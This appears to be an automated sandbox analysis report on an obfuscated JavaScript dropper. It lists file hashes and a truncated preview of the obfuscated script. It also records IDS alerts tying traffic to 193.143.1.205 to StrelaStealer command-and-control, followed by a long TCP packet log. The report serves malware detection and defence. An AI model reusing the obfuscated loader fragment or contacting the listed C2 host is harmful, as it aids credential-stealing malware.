Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16155), with CRLF line terminators
Entropy (8bit):	4.9192026994098415
TrID:
File name:	91931239167124381.js
File size:	19'651 bytes
MD5:	bdb44b3fa791be62fc7b771c5b1ad90e
SHA1:	f95f7fdbbc2864e6043ca5be04e4133de6fb2ea1
SHA256:	496570a742ba88aa15849accb619d7c2b6d8788f282dac1a8b8049fc6c67ab4b
SHA512:	30d1b120ef61f4dd5272fd9b9cc63b4dea3de71855314981ee9438ec0e0d1b26085380383fc78ba07b92130eebc78e6e410f420054efd75ffd241f5800bcac95
SSDEEP:	384:a//2zyDY4LuWcJDN7CdtjjIAJxOpev0r7/7UcWKcamBE6PfbSC9fyuJ77zq+oIUT:iOODY4LuWcJDN7CdtjjIAJxOpev0r7//
TLSH:	A492458BF245C63BD0F551F07F7296B32B8C18CDCC9C529A1DD0058CA95E829C9E94BB
File Content Preview:	function mikadd(){jedvs=[1031,3079,5127,4103,2055,3072];var enemiiokt=this[tgbdk+iganfx+qbtdhd+apaobntnu+ioavxfeah+wacmqk+eyllgaqmj+slkxgisss](this[tmmqbzx+gifsy+uyewqb+qbtdhd+ekdue+tgbdk+slkxgisss][iemqvrmo+qbtdhd+ioavxfeah+iganfx+slkxgisss+ioavxfeah+hui

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T04:54:18.415091+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49705	193.143.1.205	80	TCP
2025-01-11T04:54:18.415091+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.5	49705	193.143.1.205	80	TCP
2025-01-11T04:54:20.784857+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49706	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 04:54:17.583309889 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:17.588351011 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:17.588498116 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:17.605552912 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:17.611664057 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.414931059 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.414953947 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.414968967 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.414980888 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.414990902 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.415003061 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.415013075 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.415024996 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.415035963 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.415046930 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.415091038 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.415134907 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.415134907 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.419982910 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.472465992 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.474772930 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.474788904 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.475158930 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.539243937 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.539278984 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.539366961 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.539412975 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.539421082 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.539454937 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.539469957 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.539489985 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.539524078 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.539544106 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.540229082 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.540280104 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.540299892 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.540313005 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.540344954 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.540364981 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.540381908 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.540431023 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.541059971 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.541111946 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.541145086 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.541168928 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.541178942 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.541230917 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.541649103 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.541701078 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.541734934 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.541758060 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.541766882 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.541801929 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.541815042 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.542511940 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.542567015 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.604926109 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.604979992 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.605041981 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.646074057 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.646121025 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.646178007 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.646205902 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.646295071 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.646295071 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.664920092 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.664967060 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.665003061 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.665035009 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.665041924 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.665076971 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.665095091 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.665112019 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.665146112 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.665163994 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.665180922 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.665216923 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.665234089 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.665575027 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.665611029 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.665633917 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.665877104 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.665910959 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.665935040 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.665946007 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.665980101 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.665996075 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.666013956 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.666064978 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.666409969 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.666461945 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.666496038 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.666517019 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.666529894 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.666564941 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.666585922 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.666598082 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.666632891 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.666646004 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.667470932 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.667504072 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.667531013 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.667537928 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.667572021 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.667588949 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.667606115 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.667639017 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.667655945 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.667680025 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.667735100 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.668282032 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.668334961 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.668370008 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.668387890 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.668406010 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.668441057 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.668457985 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.668474913 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.668509960 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.668529987 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.669209003 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.669243097 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.669260979 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.669277906 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.669310093 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.669331074 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.694606066 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.694624901 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.694637060 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.694724083 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.694760084 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.735845089 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.735860109 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.735909939 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.770320892 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.770345926 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.770358086 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.770368099 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.770378113 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.770401955 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.770442963 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.787775993 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.787794113 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.787805080 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.787816048 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.787827969 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.787848949 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.787888050 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.787983894 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.788006067 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.788017035 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.788036108 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.788047075 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.788058996 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.788084984 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.788120985 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.788124084 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.788135052 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.788145065 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.788156033 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.788194895 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.788197994 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.788233995 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.788697004 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.788708925 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.788721085 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.788746119 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.788778067 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.788789988 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.788791895 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.788801908 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.788813114 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.788825035 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.788837910 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.788855076 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.788866043 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.788889885 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.788916111 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.789616108 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.789628029 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.789638996 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.789654970 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.789665937 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.789675951 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.789676905 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.789689064 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.789700985 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.789705038 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.789712906 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.789722919 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.789735079 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.789741039 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.789764881 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.789788961 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.790410042 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.790430069 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.790441990 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.790477991 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.790482044 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.790493965 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.790504932 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.790527105 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.790555000 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.790615082 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.790626049 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.790636063 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.790647030 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.790657043 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.790678024 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.790713072 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.791368961 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.791380882 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.791392088 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.791421890 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.791429996 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.791434050 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.791445971 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.791452885 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.791459084 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.791496992 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.791537046 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.791554928 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.791565895 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.791577101 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.791589022 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.791610003 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.791645050 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.792237997 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.792257071 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.792267084 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.792315960 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.792349100 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.792360067 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.792371035 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.792382002 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.792397976 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.792428970 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.792453051 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.792464972 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.792476892 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.792505026 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.792525053 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.802643061 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.816903114 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.825671911 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.825691938 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.825704098 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.825746059 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.860235929 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.860260963 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.860272884 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.860282898 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.860295057 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.860327005 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.860337019 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.860349894 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.860351086 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.860358000 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.860362053 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.860366106 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.860399961 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.860421896 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.872493982 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.896256924 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.896272898 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.896292925 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.896305084 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.896318913 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.896326065 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.896331072 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.896353006 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.896379948 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.896392107 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.896403074 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.896405935 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.896435022 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.896436930 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.896445990 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.896460056 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.896461010 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.896472931 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.896502018 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.896538019 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.896568060 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.896579027 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.896590948 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.896600962 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.896629095 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.896661997 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.901268959 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.911781073 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.911792994 CET	80	49705	193.143.1.205	192.168.2.5
